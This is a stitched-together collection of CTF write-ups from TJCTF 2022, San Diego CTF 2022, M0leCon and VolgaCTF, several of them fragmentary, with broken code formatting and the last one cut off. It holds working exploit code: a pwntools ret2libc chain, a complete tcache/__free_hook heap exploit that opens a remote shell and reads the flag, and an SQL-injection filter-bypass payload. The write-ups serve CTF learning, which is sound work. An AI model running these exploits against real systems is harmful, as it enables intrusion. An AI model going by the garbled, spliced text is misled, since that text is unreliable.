Now, this isn't the supposed way to solve the CTF: there's a "[Use after free](https://cwe.mitre.org/data/definitions/416.html)" vulnerability present (as indicated in the flag text) that enables you to use the cookie of a deleted user
In this case, the exploit works mostly the same, it's also based on the possibility to use a valid signed token in the request, but instead of using an empty one, is of a deleted user.
This causes the script to retrieve an undefined `user` object and therefore the checks will fail in a similar way |
## **I used 010Editor to select the compressed bytes of the flag**
## **Then I used CyberChef to decompress the flag** |
# TJCTF 2022
**Challenge name :** cool-school | *393 solves / 129 points*
**Author :** andrewxie
**Description :***Wow TJ is such a cool school! This image really captures the vibes. But something seems off about the image...*
**Downloads :** [image.png](https://imgur.com/Hn7Uw0f)
This challenge is a classic and it is not very complicated. However, I would like to point out that the associated category is not appropriate. This is a steganography challenge, not forensics challenge.
When I hear "Steganography" I think about an awesome tool named Aperi'Solve (shout-out to Aperi'Kube). It performs many steganographic operations on images, including changing shades and colors. You can found it in the following link : [Aperi'Solve](https://aperisolve.fr)
So, we submit the image and get informations and results about every tasks performed.
## Some informations
[Statistics on the uploaded image](https://imgur.com/KZ315Ux)
For example, we can see that this image was uploaded 228 times. Several participants had the good idea to use this tool to save time. ;)
## Flag
Browsing the **Supperimposed** category, we can see the flag on the top left corner of the image.
[The Flag](https://imgur.com/yQqrKPj)
Flag : `tjctf{l0l_st3g_s0_co0l}`
The flag confirms the real category of the challenge ;) but nvm that was funny. |
```pythonfrom pwn import *
elf = context.binary = ELF('./chall')p = process('./chall')libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
buffer = b"A"*16rbp = b"B"*8
rop = ROP(elf)
rop.call(elf.symbols["puts"], [elf.got['puts']])rop.call(elf.symbols["vacation"])rop.dump()print(p.recvuntil("\n"))
payload = buffer + rbp + rop.chain()p.sendline(payload)log.info(rop.dump())puts = u64(p.recvuntil("\n").rstrip().ljust(8, b"\x00"))log.info(f"L'addr de puts {hex(puts)}")
libc.address = puts - libc.symbols["puts"]log.info(f"L'addr de la libc {hex(libc.address)}")
rop = ROP(libc)rop.call("puts", [next(libc.search(b"/bin/sh\x00")) ])rop.call("system", [next(libc.search(b"/bin/sh\x00")) ])rop.call("exit")
payload = b""payload += bufferpayload += rbppayload += rop.chain()print(payload)
p.sendline(payload)p.interactive()```ret2plt igo |
```pythonfrom Crypto.Util.number import *
n = 1216177716507739302616478655910148392804849e = 65537c1 = 257733734393970582988408159581244878149116c2 = 843105902970788695411197846605744081831851
p = 1033247481589406269253q = 1177043968824330681533
phi = (p-1)*(q-1)d = inverse(e,phi)m1 = pow(c1,d,n)m2 = pow(c2,d,n)
print(long_to_bytes(m1) + long_to_bytes(m2))```
Challenge de RSA basique assez facile |
In short:
1. generate shellcode and use an encoder2. create a reverse-scrambler and apply on the payload3. send payload4. cat flag
Get all the details @ [https://github.com/team-0x7/writeups/blob/main/TJCTF_2022/fried/README.md](https://github.com/team-0x7/writeups/blob/main/TJCTF_2022/fried/README.md) |
# Steam Locomotive### easy | Miscellaneous | 50 points
## DescriptionI keep accidentally mistyping the ls command!
## Solution
I kind of freaked out when I got the solution, as I didn't expect the solution to be this simple.
The challenge provides an ssh server to log into. Logging into the server shows this
```txt# password is userpassssh -p 31862 [email protected]```
A train moving across the screen. I tried typing stuff for a long time, nothing happens. I even managed to stop the train, still nothing.
Then suddenly, I happened to try something:```bash$ echo "ls" | ssh -p 31862 [email protected]Pseudo-terminal will not be allocated because stdin is not a terminal.[email protected]'s password: flag.txt```
WHAT?!?!??! THIS ACTUALLY WORKED???? \*confused happiness\*
After a mini-celebration, I tried this:```bash$ echo "cat flag.txt" | ssh -p 31862 [email protected]Pseudo-terminal will not be allocated because stdin is not a terminal.[email protected]'s password: flag{4f9b10a81141c7a07a494c28bd91d05b}```
I'm speechless \*mind blown\*
PS: The correct way to send in the command is `ssh -p 31862 [email protected] <command>` but I didn't know this at the time. Now I know and you do too!
Flag: `flag{4f9b10a81141c7a07a494c28bd91d05b}` |
## Breakfast Menu
> Points: 250>> Solves: 32
### Description:> I’m awfully hungry, with all these options to choose from, what should I order?>> Connect> nc breakfast.sdc.tf 1337>> By green beans### Attachments:> BreakfastMenu> > Dockerfile
## Analysis:
There are three functions, `Create`, `Edit`, and `Delete`, and there is no display function. Finding vulnerabilities is relatively easy, so the point is how to leak the `libc` address.
```1. Create a new order2. Edit an order3. Delete an order4. Pay your bill and leave```
There are the following two vulnerabilities.- There is a `UAF` vulnerability because the pointer is not cleared after free the area with the `Delete` function.- The `Edit` and `Delete` functions do not check for negative indexes. By using this, the area with the index value `-12` and `_IO_2_1_stdout_` can be rewritten, so the `heap` and the `libc` address can be leaked.
```c if (local_18 != 3) break; puts("which order would you like to remove"); fflush(stdout); __isoc99_scanf(&DAT_00400cd5,&local_18); getchar(); if (local_18 < local_14) { <--- Not checking for negative index values free(*(void **)(orders + (long)local_18 * 8)); } else { puts("Order doesn\'t exist!!!"); fflush(stdout); }```
```c if (local_18 < local_14) { <--- Not checking for negative index values free(*(void **)(orders + (long)local_18 * 8)); <--- Not clearing the pointer after free } else { puts("Order doesn\'t exist!!!"); fflush(stdout); }```## Solution:
In the local environment, we can leak the `libc` address as shown below by rewriting `_IO_write_base` to `0x602010`, but this was not possible in the server environment.
```pythonEdit(-12, p32(0xfbad3a87)+"\x01"*0x1c+p64(0x602010))```
```gdb-peda$ p _IO_2_1_stdout_$1 = { file = { _flags = 0xfbad2a84, _IO_read_ptr = 0x603260, _IO_read_end = 0x603260, _IO_read_base = 0x603260, _IO_write_base = 0x603260, <- Rewriting this value _IO_write_ptr = 0x603260, _IO_write_end = 0x603260, _IO_buf_base = 0x603260, _IO_buf_end = 0x603660, ```
An example of outputting the `GOT` area in the local environment. I don't know the cause, but the server environment doesn't work.``` 00000000 73 6f 20 79 6f 75 20 77 61 6e 74 65 64 20 87 3a │so y│ou w│ante│d ·:│ 00000010 ad fb 01 01 01 01 01 01 01 01 01 01 01 01 01 01 │····│····│····│····│ 00000020 01 01 01 01 01 01 01 01 01 01 01 01 01 01 10 20 │····│····│····│··· │ 00000030 60 f0 a8 de f7 ff 7f 00 00 c6 06 40 00 00 00 00 │`···│····│···@│····│ 00000040 00 00 82 a9 f7 ff 7f 00 00 70 29 a6 f7 ff 7f 00 │····│····│·p)·│····│ 00000050 00 40 6e a4 f7 ff 7f 00 00 10 0e b7 f7 ff 7f 00 │·@n·│····│····│····│ 00000060 00 d0 0a a6 f7 ff 7f 00 00 a0 9e a6 f7 ff 7f 00 │····│····│····│····│ 00000070 00 36 07 40 00 00 00 00 00 90 07 a6 f7 ff 7f 00 │·6·@│····│····│····│ 00000080 00 70 de a5 f7 ff 7f 00 00 66 07 40 00 00 00 00 │·p··│····│·f·@│····│ 00000090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 000000a0 00 60 e7 dc f7 ff 7f 00 00 00 00 00 00 00 00 00 │·`··│····│····│····│ 000000b0 00 00 da dc f7 ff 7f 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 000000c0 00 87 3a ad fb 01 01 01 01 01 01 01 01 01 01 01 │··:·│····│····│····│ 000000d0 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 │····│····│····│····│ 000000e0 01 10 20 60 00 00 00 00 00 0a 00 00 00 00 00 00 │·· `│····│····│····│ 000000f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│```
The following is an excerpt from the `Dockerfile`, which may be due to running on `nsjail`.``` socat \ TCP-LISTEN:1337,reuseaddr,fork \ EXEC:"nsjail --config /home/user/nsjail.cfg -- /home/user/BreakfastMenu"```
However, if the lower 1 byte of `_IO_write_base` is rewritten to `NULL`, only the following heap area can be output even in the server environment.```0x603200: 0x0000000000000000 0x00000000000000000x603210: 0x0000000000000000 0x00000000000000000x603220: 0x0000000000000000 0x00000000000000000x603230: 0x0000000000000000 0x00000000000000000x603240: 0x0000000000000000 0x00000000000000000x603250: 0x0000000000000000 0x0000000000000411 <- The server environment is 0x111 instead of 0x411.0x603260: 0x7461657243202e0a 0x2077656e206120650x603270: 0x2e320a726564726f 0x6e612074696445200x603280: 0x330a726564726f20 0x6574656c6544202e```
An example of outputting with `context.log_level ='debug'` of `Pwntools```` 00000000 73 6f 20 79 6f 75 20 77 61 6e 74 65 64 20 87 3a │so y│ou w│ante│d ·:│ 00000010 ad fb 01 01 01 01 01 01 01 01 01 01 01 01 01 01 │····│····│····│····│ 00000020 01 01 01 01 01 01 01 01 01 01 01 01 01 0a 00 00 │····│····│····│····│ 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 00000080 00 00 00 00 00 00 11 10 00 00 00 00 00 00 31 2e │····│····│····│··1.│ 00000090 20 43 72 65 61 74 65 20 61 20 6e 65 77 20 6f 72 │ Cre│ate │a ne│w or│ 000000a0 64 65 72 0a 32 2e 20 45 64 69 74 20 61 6e 20 6f │der·│2. E│dit │an o│ 000000b0 72 64 65 72 0a 33 2e 20 44 65 6c 65 74 65 20 61 │rder│·3. │Dele│te a│ 000000c0 6e 20 6f 72 64 65 72 0a 34 2e 20 50 61 79 20 79 │n or│der·│4. P│ay y│ 000000d0 6f 75 72 20 62 69 6c 6c 20 61 6e 64 20 6c 65 │our │bill│ and│ le│```
Since the above limited area contains `tcachebin` of `0x3c0` size, we can leak the heap address by creating a chunk of `0x3c0` size in another area and freeing it.
```pythonfor i in range(6): Create()Delete(4)Delete(5)Edit(5, "\x00")Create()Create()Edit(2, "A"*0x18+p64(0x3c1))Delete(7)```
State of heap memory after executing `Delete(7)````0x604670: 0x0000000000000000 0x00000000000000310x604680: 0x0000000000000000 0x00000000000000000x604690: 0x0000000000000000 0x00000000000000000x6046a0: 0x0000000000000000 0x00000000000000310x6046b0: 0x0000000000000000 0x00000000000000000x6046c0: 0x0000000000000000 0x00000000000000000x6046d0: 0x0000000000000000 0x00000000000000310x6046e0: 0x4141414141414141 0x41414141414141410x6046f0: 0x4141414141414141 0x00000000000003c10x604700: 0x0000000000000000 0x00000000006030100x604710: 0x0000000000000000 0x00000000000000000x604720: 0x0000000000000000 0x00000000000000000x604730: 0x0000000000000000 0x00000000000000310x604740: 0x0000000000000000 0x00000000006030100x604750: 0x0000000000000000 0x00000000000000000x604760: 0x0000000000000000 0x00000000000000310x604770: 0x0000000000604700 0x00000000000000000x604780: 0x0000000000000000 0x00000000000000000x604790: 0x0000000000000000 0x000000000001f871```
The heap address(`0x604700`) can be put in the `tcachebin` of `0x3c0`, so the heap address can be leaked.```gdb-peda$ x/100gx 0x6032000x603200: 0x0000000000000000 0x00000000000000000x603210: 0x0000000000000000 0x00000000000000000x603220: 0x0000000000604700 0x0000000000000000 <- This 0x604700 can be leaked.0x603230: 0x0000000000000000 0x00000000000000000x603240: 0x0000000000000000 0x00000000000000000x603250: 0x0000000000000000 0x00000000000004110x603260: 0x7920796150202e34 0x6c6c69622072756f0x603270: 0x61656c20646e6120 0x6e612074690a6576
pwndbg> binstcachebins0x3c0 [ 1]: 0x604700 ◂— 0x0```
If we know the heap address, we can create a fake `chunk` in the above area, so we can leak the `libc` address as shown below.
```0x603200: 0x0000000000000000 0x00000000000000000x603210: 0x4141414141414141 0x00000000000014610x603220: 0x00007ffff7dcdca0 0x00007ffff7dcdca0 <- This 0x7ffff7dcdca0 can be leaked.0x603230: 0x0000000000000000 0x00000000000000000x603240: 0x0000000000000000 0x00000000000000000x603250: 0x0000000000000000 0x00000000000004110x603260: 0x7461657243202e0a 0x2077656e206120650x603270: 0x2e320a726564726f 0x6e61207469644520```The `python` code for the `libc` leak```python# Make large chunk in tcacheDelete(0)Delete(1)Edit(1, p64(heap_base + 0x210))Create()Create()Edit(9, "A"*8+p64(heap_offset - 0x300 + 0x61))
Delete(0)Delete(1)Edit(1, p64(heap_base + 0x220))Create()Create()
# libc leakDelete(11)```
If we can leak the `libc` address, we can easily write the `__free_hook` to the `tcachebin` using the `Edit` function. Similarly, we can write the address of the `system` function to `__free_hook`, so we can start `/bin/sh` by freeing the `chunk` that wrote `/bin/sh`.
## Exploit code:The Exploit code is below.```pythonfrom pwn import *
#context(os='linux', arch='amd64')#context.log_level = 'debug'
BINARY = './BreakfastMenu'elf = ELF(BINARY)
if len(sys.argv) > 1 and sys.argv[1] == 'r': HOST = "breakfast.sdc.tf" PORT = 1337 s = remote(HOST, PORT) heap_offset = 0x2300else: s = process(BINARY) heap_offset = 0x1700libc = elf.libc
def Create(): s.sendlineafter("leave\n", "1")
def Edit(idx, data): s.sendlineafter("leave\n", "2") s.sendlineafter("modify\n", str(idx)) s.sendlineafter("order?\n", data)
def Delete(idx): s.sendlineafter("leave\n", "3") s.sendlineafter("remove\n", str(idx))
for i in range(6): Create()
# Make fake chunk sizeof 0x3c0 for heap leakingDelete(4)Delete(5)Edit(5, "\x00")Create()Create()Edit(2, "A"*0x18+p64(0x3c1))
# Heap leakDelete(7)Edit(-12, p32(0xfbad3a87)+"\x01"*0x1b)
s.recvuntil("\x00"*0x20)heap_leak = u64(s.recv(8))heap_base = heap_leak - heap_offsetprint "heap_leak =", hex(heap_leak)print "heap_base =", hex(heap_base)
# Make large chunk in tcacheDelete(0)Delete(1)Edit(1, p64(heap_base + 0x210))Create()Create()Edit(9, "A"*8+p64(heap_offset - 0x300 + 0x61))
Delete(0)Delete(1)Edit(1, p64(heap_base + 0x220))Create()Create()
# libc leakDelete(11)Edit(-12, p32(0xfbad3a87)+"\x01"*0x1b)s.recvuntil("A"*8)s.recv(8)libc_leak = u64(s.recv(8))libc_base = libc_leak - libc.sym.__malloc_hook - 0x70free_hook = libc_base + libc.sym.__free_hooksystem_addr = libc_base + libc.sym.systemprint "libc_leak =", hex(libc_leak)print "libc_base =", hex(libc_base)
# Write __free_hook in tcacheDelete(0)Delete(1)Edit(1, p64(free_hook))
# Write system address in __free_hookCreate()Create()Edit(13, p64(system_addr))
# Start system("/bin/sh")Edit(3, "/bin/sh\x00")Delete(3)
s.interactive()```
## Results:The execution result is as follows.```bashmito@ubuntu:~/CTF/San_Diego_CTF_2022/Pwn_Breakfast_Menu_250$ python solve.py r[*] '/home/mito/CTF/San_Diego_CTF_2022/Pwn_Breakfast_Menu_250/BreakfastMenu' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)[+] Opening connection to breakfast.sdc.tf on port 1337: Done[*] '/lib/x86_64-linux-gnu/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabledheap_leak = 0x880300heap_base = 0x87e000libc_leak = 0x7fc8441e3ca0libc_base = 0x7fc843df8000[*] Switching to interactive mode$ iduid=1000(user) gid=1000(user) groups=1000(user)$ ls -ltotal 28-rwxr-xr-x 1 nobody nogroup 13000 May 6 22:02 BreakfastMenu-rw-r--r-- 1 nobody nogroup 2405 May 5 18:23 BreakfastMenu.c-rw-r--r-- 1 nobody nogroup 105 Apr 29 20:55 Makefile-rw-r--r-- 1 nobody nogroup 42 May 6 22:01 flag.txt$ cat flag.txtsdctf{Th3_m05t_1Mp0Rt4nT_m34L_0f_th3_d4Y}``` |
# ascordle:web:198ptsI found this new worldle clone... [ascordle.tjc.tf](https://ascordle.tjc.tf/)
Downloads [server.zip](server.zip)
# SolutionアクセスするとWordleに似せたゲームのようだ。 ASCORDLE [site.png](site/site.png) 文字種が多く、当てることは難しい。 ソースを見ると以下のようであった。 ```js~~~const randomize = () => { const word = randStr(16).replaceAll("'", "''") const query = db.prepare(`UPDATE answer SET word = '${word}'`) query.run() // haha now you will never get the word}
const waf = (str) => { const banned = ["OR", "or", "--", "=", ">", "<"] for (const no of banned) { if (str.includes(no)) return false } return true}~~~const checkWord = (word) => { const query = db.prepare(`SELECT * FROM answer WHERE word = '${word}'`) return typeof query.get() !== 'undefined'}~~~app.post('/guess', (req, res) => { if (typeof req.body.word !== 'string') { return res.status(400).end('???') }
randomize()
const word = req.body.word if (!waf(word)) { return res.json({ check: false, flag: null, sql: true, colors: wrong, }) }
const { word: correct } = getWord()
try { if (checkWord(word)) { return res.json({ check: true, flag: flag, sql: false, colors: right, }) } } catch (e) { return res.json({ check: false, flag: null, sql: false, colors: wrong, }) }~~~````checkWord`にSQLiがあるが、ORなどが`waf`にブロックされる。 大文字小文字混合のバイパスを行えばよい。 コメントアウトはなしでもよいが`/*`で可能である。 ペイロードは`Or 1 /*`となる。 せっかくなのでWebからSQLiを行ってみる。  flagが得られた。
## tjctf{i_h3ck1n_l0v3_a5c11_w0rdl3} |
# Writeup of circuitry-magic challenge from M0leCon CTF 2022
TLDR: Extract logic from binary, create symbolic constraints, then guess the correct flag.
Writeup author: [adamd](https://adamdoupe.com)
Solve Script: [solve.py](./solve.py)
The challenge description given is the following:
```VHDL is for noobs, I implement all my tests in C, it is faster, easier, and more resistant to attacks!
Note: flag needs to be wrapped in ptm{}, it is all printable ascii and it makes sense in English.
Author: @Alberto247```
We are given [encoder](./encoder) and [output.txt](./output.txt).
First we should look at `output.txt`, what we see is a simple json file with a list of dictionaries of inputs and outputs:
```json[{"input": 0, "output": 1}, {"input": 1, "output": 0}, {"input": 2, "output": 0}, {"input": 3, "output": 0}, {"input": 4, "output": 0}, {"input": 5, "output": 0}, {"input": 6, "output": 0}, {"input": 7, "output": 1}, {"input": 8, "output": 0}, {"input": 9, "output": 0}, {"input": 10, "output": 0}, {"input": 11, "output": 1}, {"input": 12, "output": 0}, {"input": 13, "output": 0}, {"input": 14, "output": 1}, {"input": 15, "output": 0}, {"input": 16, "output": 0}, {"input": 17, "output": 0}, {"input": 18, "output": 0}, {"input": 19, "output": 1}, {"input": 20, "output": 1}, {"input": 21, "output": 1}, {"input": 22, "output": 0}, {"input": 23, "output": 0}, {"input": 24, "output": 0}, {"input": 25, "output": 1}, {"input": 26, "output": 1}, {"input": 27, "output": 0}, {"input": 28, "output": 0}, {"input": 29, "output": 0}, {"input": 30, "output": 0}, {"input": 31, "output": 0}, {"input": 32, "output": 1}, {"input": 33, "output": 1}, {"input": 34, "output": 0}, {"input": 35, "output": 0}, {"input": 36, "output": 1}, {"input": 37, "output": 1}, {"input": 38, "output": 0}, {"input": 39, "output": 0}, {"input": 40, "output": 0}, {"input": 41, "output": 0}, {"input": 42, "output": 1}, {"input": 43, "output": 1}, {"input": 44, "output": 0}, {"input": 45, "output": 0}, {"input": 46, "output": 0}, {"input": 47, "output": 1}, {"input": 48, "output": 1}, {"input": 49, "output": 1}, {"input": 50, "output": 1}, {"input": 51, "output": 0}, {"input": 52, "output": 0}, {"input": 53, "output": 0}, {"input": 54, "output": 0}, {"input": 55, "output": 0}, {"input": 56, "output": 1}, {"input": 57, "output": 0}, {"input": 58, "output": 0}, {"input": 59, "output": 0}, {"input": 60, "output": 0}, {"input": 61, "output": 0}, {"input": 62, "output": 0}, {"input": 63, "output": 0}]```
So what do we do with this?
Well, we start to reverse the binary, which is just a x86-64 binary.
Luckily the `main` function is not so complicated:
```Cint __cdecl main(int argc, const char **argv, const char **envp){ unsigned int v4; // [rsp+0h] [rbp-60h] BYREF int i; // [rsp+4h] [rbp-5Ch] char input_bits[6]; // [rsp+Ah] [rbp-56h] BYREF char buf[72]; // [rsp+10h] [rbp-50h] BYREF unsigned __int64 v8; // [rsp+58h] [rbp-8h]
v8 = __readfsqword(0x28u); v4 = 0; __isoc99_scanf("%d", &v4;; if ( v4 < 0x40 ) { for ( i = 0; i <= 5; ++i ) { input_bits[5 - i] = v4 & 1; v4 = (int)v4 >> 1; } first_step(input_bits, buf); second_step(buf); third_step((__int64)buf, &v4;; printf("%d", v4); return 0; } else { puts("Please provide an input on 6 bits"); return -1; }}```
Essentially what this does it read in a number from us, and if that number is less than 0x40 (only 6 bits of a number), then it will do stuff with it.
Also important to note here that this corresponds to `output.txt` which has `input` numbers from 0--63 (0x40 is 64).
Also note that what I called `input_bits` is actually filled in backwards from what you'd expect (the bit order). It's a good idea to note these things so that when you try to implement/solve it, you match the logic exactly.
The first goal that I have when approaching a reversing challenge (which I don't often do) is to understand what the challenge is asking of us.
So, I try to go through the code at a high-level to understand where/what the flag is, or what the challenge wants us to discover as the flag.
The `first_step` calls a bunch of function calls based on our input and fills a buffer (the second argument):
```Cvoid __fastcall first_step(char *input_bits, char *buf){ char v2; // [rsp+12h] [rbp-Eh] char v3; // [rsp+13h] [rbp-Dh] int i; // [rsp+14h] [rbp-Ch] int j; // [rsp+18h] [rbp-8h] int k; // [rsp+1Ch] [rbp-4h]
for ( i = 0; i <= 63; ++i ) { v2 = 0; for ( j = 0; j <= 1; ++j ) { v3 = 1; for ( k = 0; k <= 5; ++k ) v3 &= ((__int64 (__fastcall *)(_QWORD))*(&first_step_array[12 * i] + 6 * j + k))((unsigned int)input_bits[k]); v2 |= v3; } buf[i] = v2; }}```
These function calls in `first_step_array` are either `neg` (negation) or `identity` (return the same thing).
The result of `first_step_array` is passed into `second_step`, where the buffer is mixed with a global called, nice enough `flag`:
```Cvoid __fastcall second_step(char *a1){ int i; // [rsp+14h] [rbp-4h]
for ( i = 0; i <= 63; ++i ) a1[i] &= flag[i];}```
Looking at `flag` we see that it's 64 bytes, where each byte is 0 or 1 (this matches the challenge description mentioning VHDL, which is a hardware description language).
Concatenating all the bits together, we get an 8-character ASCII string of `notflag!`.
So, it's important to now step back and think about what the challenge wants us to do.
Based on the content, we can assume that `notflag!` is _not_ the flag.
This is in contrast to the general flow of reversing challenges where the flag is somehow embedded in the binary.
However, we're not just given the binary (always important to remember that), we're also given `output.txt`.
So, presumably the author has generated `output.txt` on a binary where `flag` is the _real_ flag, and therefore we need to use the `input/output` to figure out what `flag` must be (since it's used to calculate the output.
Now that we have our goal in mind, we can go back to the third (and final) step.
This function essentially mixes a bunch of the 1 and 0 from the prior steps based on this `chains` global variable.
```Cvoid __fastcall third_step(char *buf, _DWORD *output){ int i; // [rsp+18h] [rbp-18h] int j; // [rsp+1Ch] [rbp-14h] char v4[8]; // [rsp+20h] [rbp-10h] unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u); *output = 0; for ( i = 0; i <= 7; ++i ) { for ( j = 0; j <= 7; ++j ) v4[j] = buf[chains[8 * i + (j + 1) % 8]] & buf[chains[8 * i + j]]; *output |= (char)(v4[6] | v4[5] | v4[4] | v4[3] | v4[2] | v4[1] | v4[0] | v4[7]); }}```
So now that we understand the logic, how to go about solving the challenge?
## Approach
My plan was to essentially re-implement the logic using symbolic equations, and use `Z3`, a constraint solver, to solve.
Luckily, angr has a nice abstraction layer on top of `Z3` called [`claripy`](https://github.com/angr/claripy).
So the first step was to translate the logic of the program into a Python program.
```pythondef first_step(input_bits): to_return = [] for i in range(64): val = 0 for j in range(2): cur = 1 for k in range(6): func = first_step_array[12*i + 6*j + k] cur &= func(input_bits[k]) val |= cur to_return.append(val) return to_return```
```pythondef second_step(buf, flag): to_return = [] for i in range(64): to_return.append(buf[i] & flag[i]) return to_return```
```pythondef third_step(buf): output = 0 for i in range(8): tmp = [0]*8 for j in range(8): tmp[j] = buf[chains[8*i + ((j+1) % 8)]] & buf[chains[8*i + j]] output |= tmp[0] | tmp[1] | tmp[2] | tmp[3] | tmp[4] | tmp[5] | tmp[6] | tmp[7]
return output```
One problem here is how to precisely extract the values from IDA for the globals `first_step_array` and `chains`.
`first_step_array` I couldn't figure out a nice way to do it, so I just copy-pasted from IDA into emacs, then used emacs macros to clean everything up into a Python array of just `neg` and `identity` (which I then wrote functions for).
For `chains`, after some googling I learned that IDA has a nice feature `Edit -> Export Data`, which allows you to export the select data as many different options.
Of course, I made a mistake here and exported the raw char array, not realizing that these were `int`s (which caused my implementation to not match.
## Verification
After this was done, I set the flag to be the same as the binary that I had, then I ran all 64 inputs to see if they matched.
They did not, and I had to debug to figure out the problem was (it was the chains issue).
## Symbolic Victory
After understanding that my implementation was correct, then I switched to building symbolic constraints based on this logic for all the input/output pairs in `output.txt`.
This was a bit slow going, as I needed to look up the documentation for how to do a lot of things with claripy.
I rewrote the encoder function (although looking back, so that the input could be a python int, and it would create the `input_bits` as claripy variables (concrete variables, as we know their value).
```pythondef encoder_symbolic(input, flag): assert(input < 0x40)
input_bits = [0]*6 for i in range(6): input_bits[5-i] = claripy.BVV(input & 1, size=1) input >>= 1
first_output = first_step_symbolic(input_bits) second_output = second_step(first_output, flag) third_output = third_step(second_output)
return third_output```
The only function that I needed to change (or at least thought that I needed to change) was the `first_step`, so I changed this to just figure out what the function was (`identity` vs. `neg`), and just emulate that behavior. Note that I used XOR in place of negation, as this is equivalent and worked with claripy symbolic variables.
```pythondef first_step_symbolic(input_bits): to_return = [] for i in range(64): val = claripy.BVV(0, size=1) for j in range(2): cur = claripy.BVV(1, size=1) for k in range(6): func = first_step_array[12*i + 6*j + k] this_val = input_bits[k] if func == neg: this_val = this_val ^ 1 cur &= this_val val |= cur to_return.append(val) return to_return```
Once I verified that the symbolic version was working, I could then try to read all the required input/output samples, run them through `encoder_symbolic` to get a claripy formula, then add a constraint that this output is equal to the output given in `output.txt`.
The basic logic is:
```python
with open("./output.txt") as f: required = json.load(f)
equations = [] for r in required: equation = encoder_symbolic(r["input"], flag_array) equations.append(equation == r["output"])
```
Now `equations` is a list of all the equations that must be true, and they should be composed of the symbolic variable of our `flag`.
At this point, I made some mistakes about understand the bit order of the flag, which led to strange output.
So I dove back into the claripy documentation and examples, as well as playing around with it, until I was able to make it be how I wanted (the bits needed to be in reverse order, as `flag[0]` is the lowest bit in claripy):
```python
s = claripy.Solver() flag = claripy.BVS(f"flag", 64) flag_array = [] for i in range(63, -1, -1): flag_array.append(flag[i]) ```
The final step was, at the end, to `and` all the equations together and then solve!
```python final = claripy.And(*equations) s.add(final)
solve_flag = s.eval(flag, 1)
```
After parsing out `solve_flag`, the first character was an I, and the rest was gibberish.
I went back to the drawing board, and revisited the challenge. I don't know for certain, but I think that's when the following was added to the challenge description: `it is all printable ascii and it makes sense in English` about the flag.
Based on this, I added constraints to the flag symbolic variable so that each byte was ASCII:
```python # Add constraints regarding the flag for i in range(0, 64, 8): flag_byte = flag[i+7:i] s.add(flag_byte >= 0x20) s.add(flag_byte <= 0x7E)```
I also then needed to change the flag output script, as it's possible for there to be _multiple_ solutions to a symbolic equation (think `x < y` has an infinite number of values of `x` and `y` where the equation is true).
So I changed the printing of the flag to output 100 solutions:
```python flags = s.eval(flag, 100) print(len(flags)) for possible_flag in flags:
candidate_flag = "" for i in range(8): candidate_flag += chr(possible_flag & 0xFF) possible_flag >>= 8 print(candidate_flag[::-1])```
I got the following list (important note, there's no rhyme or reason to why the output is in this order, Z3 has its own internal logic for doing that):
```)t3m~gic)t3lngkc)t;lngkc)tslngkc)t{lngkc)t3mNgic)t3m~gkc)t;m~gkc)t;mNgicit3lngic)t3l^gik)t;mNgkc)t3mNgkcit3lngkcit;lngkcitslngkcit{lngkc)t3mngik)t3logkc)t;logkc)tslogkc)t{logkcit{logkcitslogkcIt3lNgkcit3logkcit;logkc)t;lngic)t3lNgic)t;lNgic)t3m^gicIt{lNgkc)t3lNgkc)t;lNgkc)tslNgkc)t{lNgkc)t3m^gkc)t;m^gkcit{lNgkcit3lNgkcit;lNgkcitslNgkc)t3mNgik)t3lOgkc)t;lOgkc)tslOgkc)t{lOgkc)t3m_gkc)t;m_gkc)t3l~gicit3lOgkcit;lOgkcitslOgkcit{lOgkc)t{l~gkc)tsl~gkc)t3l~gkc)t;l~gkcItslogkcIt;logkcIt3logkcIt{logkc)t3lngik)t;lngikit3lNgic)t3m~gik)tsl_gkc)t{l_gkc)t3l_gkc)t;l_gkcit3lngik)t3mogkc)t;mogkcIt3lngkcIt;lngkcItslngkcIt{lngkc)t3l^gic)t3mngic)t;mngicIt;lNgkc)tsl^gkc)t{l^gkc)t3l^gkc)t;l^gkc)t3l~gik)t;mngkcIt;lOgkcIt3lOgkc)t3mngkcItslOgkcIt{lOgkc)t3lNgik)t;lNgik)t3m^gikit3lNgik)t;mOgkc)t3mOgkcItslNgkc)t3lngic```
None of these look useful!
But, while looking at these, I kinda had an idea, it seemed like some form of `its` (unsure capitalization) at the beginning.
For the end, my mind first went to `magic`, which would actually fit based on the length: `itsmagic`.
But that didn't quite feel right to me, so I scrolled through the list of `100` possible flags and saw this chunk:
```it3lOgkcit;lOgkcitslOgkcit{lOgkc)t{l~gkc)tsl~gkc)t3l~gkc)t;l~gkcItslogkcIt;logkcIt3logkcIt{logkc```
These look to be saying that the second half is `logic`!
Putting that together you get `itslogic`, which is eight characters, and, most importantly, it fits with the theme of the challenge (implementing hardware logic in C).
I didn't know the capitalization, so first guess I just tried `ptm{itslogic}`, and to my surprise it was correct.
My full solve script is here: [solve.py](./solve.py).
Overall, it was fun for me to try a reversing challenge, and I got to use angr/claripy which was quite fun.
However, it's very annoying when they are multiple possible solves for a reversing challenge, as there's no way to know except to guess.
Although that's not entirely true, as you could generate a ton of solutions and sort by those that have english words in them perhaps.
But hey, mistakes happen (and I've been on the hosting side of things), so I still had a fun time solving the challenge. |
# VolgaCTF 2022 Qualifier
## Mafia
> My friends and I decided to play some sports mafia this night! But is there any way to cheat in this game? Flag is in `/task/flag.txt`.>> `nc mafia.q.2022.volgactf.ru 1337`> > [`mafia`](mafia) > [`ld.so`](ld.so) > [`libc.so.6`](libc.so.6)
Tags: _pwn_ _x86-64_ _seccomp_ _rop_ _write-what-where_ _integer-overflow_
## Summary
A filthy stack and integer overflow leads to a _write-what-where_ used to deploy a seccomp filtered ROP chain.
## Analysis
### Checksec
``` Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled```
All mitigations in place.
### Decompile with Ghidra
From `setup`:
